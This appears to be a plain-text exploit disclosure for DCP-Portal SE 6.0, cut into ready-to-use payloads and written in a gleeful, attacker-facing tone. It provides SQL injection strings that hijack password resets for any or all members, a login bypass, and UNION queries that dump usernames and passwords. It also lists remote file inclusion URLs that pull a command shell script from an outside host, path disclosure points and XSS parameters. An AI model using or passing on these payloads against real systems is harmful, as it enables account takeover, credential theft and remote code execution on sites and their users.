Hello,,=0D
=0D
=0D
DCP-Portal SE  6.0  multiple injections=0D
=0D
=0D
Discovered By : HACKERS PAL=0D
Copy rights : HACKERS PAL=0D
Website : http://www.soqor.net=0D 
Email Address : security@soqor.net=0D 
=0D
sql injections=0D
if magic_qoutes_gpc = off=0D
/*************************************/=0D
=0D
lostpassword.php=0D
=0D
you can recive the reset password email on your email for any user you want :)=0D
change youremail@yourserver.com to your real email=0D 
example :=0D
-1' union select uid ,sex,name,surname,'youremail@yourserver.com',birthdate,address,zip,city,country,job,tel,language,hideinfo,list,username,password,signature,admin,active,date from dcp5_members/*=0D 
=0D
and you will recive email reset password for all the members in this website=0D
=0D
and if you want to recive the password for speciate user id example uid=1 or change 1 for the userid=0D
=0D
-1' union select uid ,sex,name,surname,'youremail@yourserver.com',birthdate,address,zip,city,country,job,tel,language,hideinfo,list,username,password,signature,admin,active,date from dcp5_members where uid=1/*=0D 
=0D
---------------------------=0D
login=0D
try the user name as=0D
' or uid=1/*=0D
=0D
or change the uid value for any username you want log with=0D
---------------------------=0D
file calendar.php=0D
Sql injection by post method ,, try this form :)=0D
=0D
=0D
=0D
=0D
=0D
=0D
---------------------------=0D
file search.php=0D
=0D
try one of these ,, bcause the number of columns changes from section to another :)=0D
if you searched for (content,news,link,forum)=0D
use=0D
xx%') union select uid,username,password from dcp5_members/*=0D
=0D
if you searched for (doc,anns)=0D
use=0D
xx%') union select uid,username,password,password from dcp5_members/*=0D
/*************************************/=0D
=0D
Remote File including=0D
library/lib.php?root=http://www.soqor.net/tools/cmd.txt?=0D 
library/editor/editor.php?root=http://www.soqor.net/tools/cmd.txt?=0D 
=0D
/*************************************/=0D
=0D
Fill path=0D
library/editor/editor.php=0D
library/lib.php=0D
=0D
/*************************************/=0D
=0D
Xss=0D
admin/inc/footer.inc.php?root_url="><"=0D
admin/inc/footer.inc.php?dcp_version==0D
=0D
admin/inc/header.inc.php?root_url="><"=0D
admin/inc/header.inc.php?page_top_name==0D
admin/inc/header.inc.php?page_name==0D
admin/inc/header.inc.php?page_options==0D
=0D
/*************************************/=0D
WwW.SoQoR.NeT